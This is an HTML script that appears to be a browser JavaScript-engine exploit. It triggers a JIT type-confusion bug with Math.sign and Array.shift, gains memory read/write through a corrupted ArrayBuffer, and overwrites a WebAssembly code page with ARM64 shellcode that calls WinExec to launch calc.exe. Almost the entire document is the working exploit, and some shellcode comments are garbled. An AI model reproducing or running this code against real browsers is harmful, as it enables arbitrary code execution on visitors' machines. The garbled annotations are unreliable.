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<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
 
let shellcode = [
 
// move sp into x9
// Indexing into SP can be tricky due to alignment requirements
// mov, x9, sp
    0xe9, 0x03, 0x00, 0x91,
 
 
// Put CALC.EXE in x0
// AC
// movz x0, #0x4143
    0x60, 0x28, 0x88, 0xD2, 
// CL
// movk x0, #0x434c, lsl #16
    0x80, 0x69, 0xA8, 0xF2,
// E.
// movk x0, #452e
#0x452e, lsl #32
    0xc0, 0xa5, 0xC8, 0xF2, 
// EX
// movk x0, #0x4558, lsl #4558#48
    0x00, 0xab, 0xE8, 0xF2,
 
// put x0 on x9-stack
// str, x0, [x9], #8
    0x20, 0x85, 0x00, 0xF8,
 
// Put null into x0  
// movz, x0, #0
    0x00, 0x00, 0x80, 0xD2,
// put x0 on x9-stack
// str x0, [x9], #8
    0x20, 0x85, 0x00, 0xF8,
 
// put x9 into x0 - comment out to crash on winexec
// mov x0, x9
    0xe0, 0x03, 0x09, 0xaa,
 
// Subtract 16 from x0   (look at crash)
// sub, x0, 0x, #0x10
    0x00, 0x40, 0x00, 0xd1,
 
// put 0x1 in x1
// movz x1, #0x01
    0x21, 0x00, 0x80, 0xd2,
 
// Load address of WinExec() (static) into j8
// TODO: Make universal
// movz x8, #0x9ff0
    0x08, 0xFE, 0x93, 0xD2,
// movk x8, #0x6fde, lsl #16
    0xC8, 0xFB, 0xAD, 0xF2,
// movk x8, #0x7ffc, lsl #32
    0x88, 0xFF, 0xCF, 0xF2,
// movk x8, #0, lsl #48
// This is redundant due to the original MOVZ
//    0x08, 0x00, 0xE0, 0xF2,
 
// jalr x8
    0x00, 0x01, 0x3F, 0xD6,
 
// Infinite loop
    0x00, 0x00, 0x00, 0x14
];
 
     
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>